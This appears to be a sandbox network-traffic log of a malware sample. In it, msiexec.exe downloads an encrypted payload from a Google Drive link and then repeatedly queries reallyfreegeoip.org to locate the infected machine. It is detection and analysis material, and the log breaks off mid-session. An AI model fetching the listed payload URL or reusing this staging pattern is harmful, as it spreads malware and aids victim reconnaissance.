2025-01-08 15:21:18 UTC	216	OUT	GET /uc?export=download&id=1wmwZCb5HsLP8Yqdvke2hD-vN5VaKU3NI HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-08 15:21:18 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 08 Jan 2025 15:21:18 GMT Location: https://drive.usercontent.google.com/download?id=1wmwZCb5HsLP8Yqdvke2hD-vN5VaKU3NI&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-YLoAxjVwgMvY-XApkVQdAQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49710	142.250.181.225	443	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:21:19 UTC	258	OUT	GET /download?id=1wmwZCb5HsLP8Yqdvke2hD-vN5VaKU3NI&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-08 15:21:21 UTC	4936	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFiumC4hXhCUoP6tYuSbu0iENby_WYaYMfQ4jZNv6eZKi50ZUoGtwXKpSCq_6LtboGK6KY2b Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="ESTtssjiXSfwu98.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 273984 Last-Modified: Tue, 10 Dec 2024 20:01:44 GMT Date: Wed, 08 Jan 2025 15:21:21 GMT Expires: Wed, 08 Jan 2025 15:21:21 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=Loainw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-08 15:21:21 UTC	4936	IN	Data Raw: cc e0 ff 98 f5 20 ad bd 4f 38 60 66 c9 db ed c7 c1 d9 0f 6c 00 a7 57 df b4 42 ab 46 c8 2e eb 38 22 21 12 6d 06 8a 1c 7f 14 25 67 a0 46 24 fb 66 59 80 80 51 c7 9a f8 4d 45 bb 5c 14 90 f2 21 8e 86 97 6f 47 90 5b cf 61 dc f5 59 30 17 58 4a 68 2e 6a bd b2 d4 4b 38 1d 3b 72 c0 d4 d5 ea e6 af f4 76 1a 08 06 95 f3 1b 62 3b df e1 54 52 5f 0a ed 25 3b e1 05 ef ee c3 67 1a 51 99 ec 57 f9 91 3a 9e 8b 20 d6 77 d3 58 be b1 94 fb 5d b5 5f 37 62 43 72 ab 89 61 16 be 7d 87 ee 96 ad bb cb 54 c8 00 2c 59 20 1e 44 87 87 dc f3 64 b8 15 b2 e9 3c 88 00 db 2a 82 0e cc 47 d1 a2 59 17 85 d5 1c d8 d0 57 86 dc 02 03 6f 5a 12 49 a0 60 b2 76 83 18 3d 43 79 e4 dd 8d a4 e7 ef 74 a3 e7 aa ea 5a 03 75 36 75 69 37 fb ec 65 97 74 c4 9d 51 e5 d6 14 46 be 58 42 f3 c6 eb c6 f8 fa 2c 76 a0 08 Data Ascii: O8`flWBF.8"!m%gF$fYQME\!oG[aY0XJh.jK8;rvb;TR_%;gQW: wX]_7bCra}T,Y Dd<*GYWoZI`v=CytZu6ui7etQFXB,v
2025-01-08 15:21:21 UTC	4827	IN	Data Raw: 85 94 57 c7 b2 ab 52 85 57 4d 29 71 15 52 81 62 50 d6 24 d1 cc 88 23 ee b8 84 e6 06 40 37 db a8 88 40 19 7b 05 dd b1 ee cd ef 19 2f 90 a0 a8 6b df ed 04 25 1f 42 a0 01 f9 b3 f3 2e 9c e0 17 cb 50 ec 28 05 22 b6 02 2c 86 f2 fb 01 9b d9 eb 74 18 1d 6a eb ca 44 95 cb b5 ff 47 93 48 cf 61 c9 f5 59 42 4a ae 4a 18 9c 6c d2 d1 d4 4b 32 02 5b 8c c4 c7 d0 fb e3 83 f9 70 05 28 10 fa 97 1b 62 31 d5 e1 7f 49 59 65 8e 25 3b eb 1a cf 10 c1 74 1c 40 9f 40 5c ff 87 2b a1 5e 4b d6 c3 d0 9f 9f 0a 9e b0 96 bc 4b 5f 0b 36 5e a8 9d 0e 71 c6 11 e3 cc fd bf b2 a5 3b b6 4f 26 3c 00 66 5e 80 a7 b5 97 57 f8 84 f1 ec 79 d3 64 be 0e 9c 04 c6 4b b3 a2 59 1d 5b d5 1c a2 94 47 86 90 03 00 6e d2 f1 bf c6 70 f7 76 83 19 26 73 7a 04 6c 8f a5 ec fa 24 a3 f6 b2 ee 72 69 61 36 7f 62 30 d3 b6 Data Ascii: WRWM)qRbP$#@7@{/k%B.P(",tjDGHaYBJJlK2[p(b1IYe%;t@@\+^KK_6^q;O&<f^WydKY[Gnpv&szl$ria6b0
2025-01-08 15:21:21 UTC	1323	IN	Data Raw: aa 26 45 27 9c 72 8f 23 b3 6d 3c 5c 4e 22 09 f3 08 9e 1d 17 f0 22 df 23 53 b6 ef 9d 8e c2 39 f3 95 51 42 e9 b5 d6 ac c4 2e 73 0e e0 ed 44 79 eb 20 71 23 a6 c3 70 ac c1 32 a5 e0 75 fc 82 f4 d1 4a 91 fa 40 6a 89 eb 5d 2f 29 a8 e6 47 20 ba e3 43 82 fe 59 db 65 c2 f5 4a 86 e2 3f de 34 98 dd 09 c8 f2 2a 89 83 ea 64 4b dc de 48 94 0e 01 bc 1e a8 da 97 ac e4 f5 01 49 d8 c9 72 d5 c9 fa d5 29 23 be 73 5b 90 89 d6 b6 ad 5a 94 12 6e 28 71 17 58 81 be d4 c5 01 f9 cf 89 23 e4 3a 80 e6 2e 2c 37 db a2 55 28 1f 7b 07 dd b1 ee 1e dc 19 2f 8f d2 ff 69 17 9c 12 0d 99 42 a0 0b ef 4d f2 3d 9a f1 11 f2 92 ee 28 05 8b 98 02 2c 5a 81 ca 03 8b a9 fd 5c d5 1d 6a e0 c7 8a 97 d8 ca ee 40 aa 6b ce 61 d8 f5 4d ce ee 9a 4a 68 90 19 7a b2 d4 41 10 d5 7b 72 ca d4 a6 23 e6 af fe 65 12 19 Data Ascii: &E'r#m<\N""#S9QB.sDy q#p2uJ@j]/)G CYeJ?4*dKHIr)#s[Zn(qX#:.,7U({/iBM=(,Z\j@kaMJhzA{r#e
2025-01-08 15:21:21 UTC	1390	IN	Data Raw: e7 20 71 55 df ee cd 32 12 cf e7 0d 6a ab 2a b9 e6 fb 55 b1 a7 95 c2 77 cb 2e dc ef c6 ad c3 71 1a 2e 7a 58 a4 87 25 2d 18 cb cf a7 9c 1a ef be ff 68 a3 db 31 f8 3a a0 05 df 0c c1 4b 07 6c cc f6 e3 2b 16 99 44 a5 fb ac b7 77 f5 87 6b cd bf 47 f2 c7 0e 9f d5 d2 5b 9d 31 07 2c 5b f1 11 1a 5b a1 7f 9a 9a 4e 79 ea ee d1 bf 84 76 72 c2 e3 fa b7 31 48 6d f1 7d 12 96 42 70 e7 0d ab ec 21 a5 4f 31 2f e6 40 b8 a8 20 9b 64 ac d4 fd 19 90 01 82 4d b4 32 59 e1 a4 b4 96 68 68 79 99 c4 36 32 8d 33 65 87 9a 4e 95 aa 22 67 cc bf 15 25 38 91 e5 2d 18 90 22 0e 17 e1 49 9c 6b bc d9 fa df ef 72 a2 f3 ec 58 5a bb b0 7e a4 c6 7e 56 1e af 67 18 b6 98 03 a6 f3 c1 d3 2f 84 38 51 23 ea d4 9d a5 89 e7 36 f8 67 ef cd 8d 20 45 b2 e0 d5 12 4d 24 10 e6 be 4b de a1 7d e8 62 75 86 6d 7f Data Ascii: qU2j*Uw.q.zX%-h1:Kl+DwkG[1,[[Nyvr1Hm}Bp!O1/@ dM2Yhhy623eN"g%8-"IkrXZ~~Vg/8Q#6g EM$K}bum
2025-01-08 15:21:21 UTC	1390	IN	Data Raw: e9 c4 fe 43 1e a9 0a df cd 7b f6 b5 44 66 fd ba c5 6d de 36 95 38 71 5f a2 34 eb f5 21 b7 80 c7 4d 85 94 7f 12 51 11 c1 f8 cd 20 cb 90 ee 1d b5 52 59 26 7c b7 bd 3f fb a7 7f c3 5d 20 f4 0f e2 a3 8c 19 3c fe 80 4f a2 4b 44 b7 d3 0e 76 31 9c 26 69 a7 a2 b4 79 51 63 a3 d2 28 e6 4c c3 c9 70 dd 88 87 a9 bf 42 31 4a 80 fe 87 22 e6 26 e8 10 79 39 38 7b c9 b8 bb ec 4e a2 c5 d7 f7 98 c9 29 3e 4a 92 12 b8 bd 30 32 e1 00 cf c0 e1 45 91 d4 24 4e 20 10 12 b9 9f b9 ee ff 79 42 d2 1d 5b f3 db e7 c2 8f b8 82 5d f2 3b 21 25 6c d3 08 a6 52 f7 fb fb d3 c3 9f d0 81 81 f6 3d 60 cc ba c9 1d 64 fd e8 b4 22 3b 7d e0 fc 17 f2 87 0d 34 4b 2b d4 cf c1 4a fc 38 5d cb f9 b6 83 72 40 8c 6c b6 7b 02 01 9d e1 b0 0c bd eb 19 a7 38 f8 61 1e 9f 14 b8 f4 7d c5 7c 40 7f 79 b1 0b 65 6c a2 97 Data Ascii: C{Dfm68q_4!MQ RY&\|?] <OKDv1&iyQc(LpB1J"&y98{N)>J02E$N yB[];!%lR=`d";}4K+J8]r@l{8a}\|@yel
2025-01-08 15:21:21 UTC	1390	IN	Data Raw: 7f fc 4a d5 e5 36 19 b4 f0 51 8b c9 28 6f d3 8b 0a 4f 98 cd 0c 37 3e 46 bb 14 05 cf ff 8d c8 1c 85 12 c0 89 75 9d 77 7b 09 b6 8c da cc e9 37 e2 9d e1 95 7c 22 1b 22 da 9d fb 20 76 d0 8b 15 e7 44 12 a8 ac 39 bf e5 9c 95 a6 58 c9 5f cd de 36 56 45 89 46 59 1f 10 06 2f 01 fd 39 d4 8e e8 08 2a f9 4d e8 31 a7 bc ab 77 86 c9 62 40 1f 7a 81 0a 97 a8 96 e1 ea e1 3c d5 cc 82 6e 63 42 54 83 79 53 2c 27 ea 44 96 95 c6 be 53 82 89 55 f5 3e 5b 3f e8 d6 7b 6e 97 6a 26 37 79 2b d3 d0 21 37 a0 f7 b5 ef 89 69 c2 27 6b 94 ff 84 e0 46 35 4b 13 63 6f a2 4e 4c 02 71 11 a4 56 f0 fd 9b 64 08 a5 92 c6 19 6a ea 06 e8 df e3 d4 b2 84 c3 20 22 96 61 ef c9 a4 e2 11 ec 64 51 30 c8 81 ec 15 a0 16 37 d6 f6 b6 04 e8 c5 11 d2 05 59 5a e4 29 dc 17 55 c1 97 6e 40 75 d9 47 a8 c9 33 81 65 e8 Data Ascii: J6Q(oO7>Fuw{7\|"" vD9X_6VEFY/9*M1wb@z<ncBTyS,'DSU>[?{nj&7y+!7i'kF5KcoNLqVdj "adQ07YZ)Un@uG3e
2025-01-08 15:21:21 UTC	1390	IN	Data Raw: 59 86 40 47 c1 d0 1d 44 46 37 88 ea 5b 76 77 f4 3f e0 93 0e d1 dd da 18 95 37 16 e5 54 eb fc 90 a4 fb 0b f1 3e e1 0a 0a 3b bc ba 48 e3 99 b2 95 90 b8 37 7a 3e c1 c8 83 5d ab d8 d6 1a 87 f2 6e 50 08 f8 e1 45 eb 9a 67 2d 12 b0 4e b9 3b 8a 3f 74 02 27 00 b9 35 e3 e3 97 cf c0 4f 3e 97 85 4e 89 81 b7 98 be e1 08 ba b9 65 e0 67 5d f0 3e 17 8e 46 02 f9 7c 57 3b 09 3a 2b 96 ce ec 00 f6 7d 97 10 20 7b 92 64 ff f2 b2 c6 80 f3 b9 ac 74 fb ca 32 01 73 9c 6d fc 06 33 4a 47 e1 c6 f0 c4 52 b2 a3 91 f1 45 ab 80 9b ef ae 38 f7 c4 ed 3c 1e d9 03 c8 5a 47 c4 82 0a b1 3b 37 98 9e 30 a5 f2 91 d8 34 63 fa 92 8c ff 41 8a eb fd a0 9b e5 dc b5 eb bd 86 18 0d 1a 0b 22 ab d8 d4 ad a9 aa ae 9e 8c d3 14 eb e7 71 cf 1a 40 f9 88 ac 9f c3 cd d5 dc 71 e1 76 1f 5a f3 46 2b d6 83 d3 46 0e Data Ascii: Y@GDF7[vw?7T>;H7z>]nPEg-N;?t'5O>Neg]>F\|W;:+} {dt2sm3JGRE8<ZG;704cA"q@qvZF+F
2025-01-08 15:21:21 UTC	1390	IN	Data Raw: 4f ef ee c9 19 05 51 99 68 7f b3 91 34 8b 93 3a c2 d7 f2 54 9f 09 9f c3 18 94 0b 5e 00 30 55 a9 73 1e 71 bc 73 28 ce f5 c6 d5 a2 45 fe 20 4e 38 7e 2f 31 e9 a3 c6 5e 44 fc 50 8e 0d 51 e7 6e be 2c d5 03 c6 69 cc 2f 19 17 85 d4 39 9e e7 63 90 90 73 a2 4a c5 bc 62 c6 60 b8 d4 a6 00 4f c5 76 04 ad 2d 80 f5 90 1c a3 e7 b6 4c 7f 19 13 0d 76 69 47 59 c9 50 df 50 c4 9d 75 47 f3 08 74 fa 4e 42 83 24 c3 ba d8 fa 26 19 fe 08 65 da b4 7e 34 fe eb c6 bd b0 d9 bf c5 24 15 4e 92 3d 02 51 b7 fc 13 50 64 18 1c 2e 70 4f 7e 20 1a ce 6c 19 f0 45 21 6a 59 4e 2b 99 a5 5d cc 55 fb 97 76 7a e7 17 02 df 05 09 d3 e4 d9 1b 8e 3a 86 a4 1d 40 09 11 a4 65 51 9a 7b 6f 68 51 9d 7a 0a a4 cb 82 8c 7b 92 35 0e d5 55 e9 05 0b e0 8f 43 dc eb 46 f1 98 00 8a ec b4 38 47 0d 67 a5 e1 7e 97 94 82 Data Ascii: OQh4:T^0Usqs(E N8~/1^DPQn,i/9csJb`Ov-LviGYPPuGtNB$&e~4$N=QPd.pO~ lE!jYN+]Uvz:@eQ{ohQz{5UCF8Gg~
2025-01-08 15:21:21 UTC	1390	IN	Data Raw: 65 6d 4c f4 6b 11 48 7e 48 94 00 9b 95 34 ad b0 66 a0 ed 53 a4 d5 61 ea b0 46 60 f0 90 ce d4 98 1d 6b 0c c4 c7 5d 21 f2 05 68 57 3c e6 6a da 0f 05 bf e2 7d db fe 84 73 65 28 ac 16 6a 89 e5 ec 15 47 e2 49 48 50 b4 5e 6b fe fa 71 98 0a 9e ff 38 4c fd 37 a7 92 b2 b7 66 0b e3 35 92 96 c2 29 24 1a d8 48 43 62 04 ad 1a 84 e4 aa 22 8d 90 4c 69 d8 eb 10 c4 cd 9f ba 29 23 b4 73 85 e0 bd c7 b2 85 20 d2 14 01 59 67 3f da 81 62 00 c0 da d0 e8 a8 32 cf 10 4b e6 06 4e 1f 81 a8 88 4a 04 f6 47 dd b1 ef 45 f8 6b 1b 9d a0 d8 c9 32 fb 2c 9e 11 42 aa a3 dc ab 81 a8 93 e0 67 69 74 f5 56 3d f5 b7 06 8e 7b e9 89 3a 88 d9 9b d6 78 06 14 ca d1 74 92 69 e8 e3 35 d3 4d cf 11 7a dd 25 30 e8 ad 25 34 96 6a b7 a1 f6 50 b5 5d 7b 72 c1 f1 c3 98 b4 b8 f4 06 b8 2d 11 bd 48 1b 62 31 7d c4 Data Ascii: emLkH~H4fSaF`k]!hW<j}se(jGIHP^kq8L7f5)$HCb"Li)#s Yg?b2KNJGEk2,BgitV={:xti5Mz%0%4jP]{r-Hb1}
2025-01-08 15:21:21 UTC	1390	IN	Data Raw: ff f1 d8 0f bf 37 d0 97 06 e1 e2 c3 45 88 57 78 6b 5b 81 01 32 0e 20 7e 90 8c 95 50 cd e7 c0 bc bb 65 63 e2 96 95 66 3b 96 67 f1 7d 39 9d 3c 55 ef 1b c0 4f 76 a7 45 41 39 df c0 c6 96 2a 8d 9e 85 15 dd 08 ba 57 9f 4d b4 38 71 aa ac ca a6 75 e5 3d e7 ff 37 17 9f 32 ca 88 9a 34 58 5b 35 4f 7d bf 04 27 8b b3 92 8a 9e 9f 28 7e a4 c3 3f 34 53 bc d3 fe a3 da 4d f8 6d e3 58 20 0a 9f 65 f2 8e 7e 56 10 d3 42 04 c4 20 72 88 83 63 ff 21 54 28 5b 3c a0 fc 15 af 9a cc 3b 8b 26 fc c6 9d 0e 6a f9 0d c7 12 3d 92 cb f7 ab f0 de a7 04 8d 47 6d fe c3 b8 21 ee 3c 43 13 52 38 7c 24 55 bc 24 f5 e6 e1 7d 83 65 eb f7 47 0a c8 5a 1d 91 72 8b 01 01 f8 7c 84 65 ad b2 04 af 0a d6 24 24 42 9d 86 0e 82 30 0e 32 3d 01 67 e7 13 97 42 77 ed 54 68 0a 20 85 da 13 a7 b0 2d 48 2c 5a 4d 0b 91 Data Ascii: 7EWxk[2 ~Pecf;g}9<UOvEA9*WM8qu=724X[5O}'(~?4SMmX e~VB rc!T([<;&j=Gm!<CR8\|$U$}eGZr\|e$$B02=gBwTh -H,ZM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49712	188.114.97.3	443	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:21:24 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-08 15:21:24 UTC	853	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:24 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1664473 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FpMzmv6L0iJR6QLJ35B38ZgODs5zDH1G6HewlpIGKW4o5k1Iz6q2EPNkqBRtVrTabdO5WMLdYR%2FzC2IPWntglfyexMPQnFSlUh81vmm2OEFsERpnlh%2BAkBV9REsiCFgz4IbLmV4q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed2d578f23726e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2068&min_rtt=2064&rtt_var=777&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1414728&cwnd=224&unsent_bytes=0&cid=ccd6d2ce012b79f0&ts=169&x=0"
2025-01-08 15:21:24 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49713	188.114.97.3	443	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:21:25 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-08 15:21:25 UTC	855	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:25 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1664474 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Bao08XMCsDr1gtoeGcmCFIRTJd7P2GDJTDSg%2ByFntElbsTlpF4mwfEf7jNiZt9T4Dbg0fp1wFCNlK2oxtvMcDmcJJeh8qY%2F43cKgQUWnSfwZWVFWFtkMM5dNMJW%2BJQx30C8Sioo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed2d5d4d38c42c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1499&min_rtt=1493&rtt_var=573&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1886304&cwnd=232&unsent_bytes=0&cid=fa149766868e5972&ts=168&x=0"
2025-01-08 15:21:25 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49715	188.114.97.3	443	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:21:26 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-08 15:21:26 UTC	855	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:26 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1664475 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NO3WLc2k%2F4B0RspMSjUUdloFjB4N%2FL00b0MKOos32hOtPFlqlqZDs3F9JAPflDKBRdo8NYz5xpBzodyFgPLa%2B5EhFSsGrzBGPxIfltKo8FWXc0jKPskwAdYEaxDip1Wn88Xb7aSV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed2d667b40431a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2414&min_rtt=2410&rtt_var=912&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1195251&cwnd=224&unsent_bytes=0&cid=7e385c0233121653&ts=143&x=0"
2025-01-08 15:21:26 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49717	188.114.97.3	443	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:21:28 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
